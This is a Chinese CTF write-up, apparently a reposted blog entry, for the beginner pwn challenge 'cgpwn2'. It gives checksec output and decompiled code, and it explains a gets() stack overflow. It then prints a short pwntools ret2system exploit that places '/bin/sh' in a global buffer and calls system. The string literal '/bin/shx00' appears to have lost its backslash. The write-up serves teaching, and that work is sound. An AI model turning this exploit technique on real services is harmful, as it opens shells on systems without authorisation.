zoukankan      html  css  js  c++  java
  • 『攻防世界』:新手区 | cgpwn2

    checksec:

       Arch:     i386-32-little
       RELRO:    Partial RELRO
       Stack:    No canary found
       NX:       NX enabled
       PIE:      No PIE (0x8048000)

    IDA:main

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      setbuf(stdin, 0);
      setbuf(stdout, 0);
      setbuf(stderr, 0);
      hello();
      puts("thank you");
      return 0;
    }

      hello存在gets函数,存在栈溢出漏洞,可以先将‘/bin/sh’写到name里,然后有system和/bin/sh的地址,通过get函数

    char *hello()
    {
      char *v0; // eax
      signed int v1; // ebx
      unsigned int v2; // ecx
      char *v3; // eax
      char s; // [esp+12h] [ebp-26h]
      int v6; // [esp+14h] [ebp-24h]
    
      v0 = &s;
      v1 = 30;
      if ( (unsigned int)&s & 2 )
      {
        *(_WORD *)&s = 0;
        v0 = (char *)&v6;
        v1 = 28;
      }
      v2 = 0;
      do
      {
        *(_DWORD *)&v0[v2] = 0;
        v2 += 4;
      }
      while ( v2 < (v1 & 0xFFFFFFFC) );
      v3 = &v0[v2];
      if ( v1 & 2 )
      {
        *(_WORD *)v3 = 0;
        v3 += 2;
      }
      if ( v1 & 1 )
        *v3 = 0;
      puts("please tell me your name");
      fgets(name, 50, stdin);
      puts("hello,you can leave some message here:");
      return gets(&s);
    }

    exp:

    from pwn import *
    
    io = remote('',)
    io.sendlineafter('name','/bin/shx00')
    io.sendlineafter('here:','a'*42 + p32(0x08048420) + b'a'*4 + p32(0x0804A080))
    io.interactive()

    注:/bin/shx00是一个伪造的字符串表

  • 相关阅读:
    Python 接口测试(十)
    接口测试(9)
    flask 部署后并发测试
    unity提示can't add script解决办法
    VUE环境部署
    提高Django高并发性的部署方案(Python)
    解决python发送multipart/form-data请求上传文件的问题
    python md5
    Django-jinjia2的赋值
    python多线程并发
  • 原文地址:https://www.cnblogs.com/Zowie/p/13432774.html
Copyright © 2011-2022 走看看